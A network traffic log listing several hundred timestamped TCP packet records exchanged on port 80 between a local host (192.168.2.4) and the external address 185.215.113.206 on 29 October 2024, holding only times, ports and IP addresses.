Oct 29, 2024 04:52:32.399585009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399601936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399616003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399631023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399647951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399656057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.399691105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.399691105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.399955988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399981022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.399996042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400011063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400028944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400034904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400034904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400044918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400055885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400060892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400082111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400082111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400101900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400262117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400281906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400305986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400312901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400327921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400329113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400345087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400351048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400358915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400367022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400374889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400386095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400410891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400410891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400702000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400717974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400731087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400747061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400754929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400754929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400774956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400784016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400794983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400800943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400818110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400834084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400847912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400854111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400854111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400861979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400875092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400877953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400895119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400902033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400902033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400913000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400922060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400929928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.400948048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400948048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.400968075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.401587009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.401602030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.401619911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.401634932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.401643038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.401643038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.401652098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.401668072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.401671886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.401671886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.401684999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.401691914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.401701927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.401711941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.401717901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.401738882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.401738882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.401757956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.402174950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.402190924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.402204990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.402220011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.402230978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.402231932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.402234077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.402256966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.402256966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.402260065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.402275085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.402277946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.402288914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.402301073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.402302980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.402319908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.402324915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.402334929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.402343988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.402350903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.402370930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.402370930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.402394056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.402955055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.402971029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.402985096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403000116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403009892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403009892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403016090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403031111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403037071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403038025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403048992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403064966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403064966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403064966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403081894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403084040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403098106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403101921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403114080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403119087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403130054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403136969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403146029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403152943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403172970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403192043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403884888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403899908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403913975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403928041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403943062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403949022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403959990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403976917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.403980017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403980017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403980017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.403991938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404004097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404009104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404025078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404030085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404030085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404041052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404050112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404057026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404073000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404078007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404078007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404088974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404098034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404118061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404136896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404825926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404840946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404854059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404869080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404875040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404884100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404901028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404902935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404902935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404916048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404922962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404932022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404942036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404951096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404966116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404963970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404982090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.404983997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404983997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.404997110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.405005932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.405020952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.405025959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.405025959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.405038118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.405045033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.405050993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.405081034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.405101061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.441447973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.441471100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.441534042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.441565037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.441581011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.441626072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.441725016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.441740036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.441756010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.441790104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.441790104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.441823959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.441848993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.443229914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.515769958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.515825987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.515830994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.515844107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.515866995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.515881062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.515944958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.515981913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.516040087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516055107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516069889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516078949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.516088963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.516102076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.516233921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516248941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516263008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516285896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.516313076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.516426086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516441107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516455889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516473055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.516486883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.516555071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516570091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516592026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.516603947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516618967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516622066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.516634941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516638041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.516653061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.516670942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.516957045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516972065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516985893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.516999960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.517002106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517009020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.517016888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517030001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.517033100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517038107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.517050028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517060041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.517064095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517069101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.517080069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517090082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.517100096 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.517116070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.517570972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517585993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517600060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517613888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517621994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.517631054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517633915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.517647028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517657995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.517663002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517680883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517693996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.517697096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.517713070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.517731905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518121958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518136024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518151045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518165112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518179893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518193960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518368006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518383026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518416882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518416882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518428087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518433094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518450022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518460989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518466949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518472910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518484116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518486977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518500090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518508911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518517017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518518925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518532038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518536091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518548012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518554926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518563986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518577099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518582106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.518589973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518599987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.518619061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.519411087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519428015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519442081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519457102 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.519457102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519474983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519483089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.519490004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519500971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.519505978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519520998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519527912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.519536018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519541025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.519551039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519558907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.519566059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519568920 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.519579887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519586086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.519596100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519602060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.519613028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519614935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.519629002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.519635916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.519654989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.519676924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.520318031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520334005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520347118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520360947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.520361900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520371914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.520378113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520382881 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.520392895 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.520401001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520414114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.520416021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520431995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.520432949 CET	49760	80	192.168.2.4	185.215.113.206
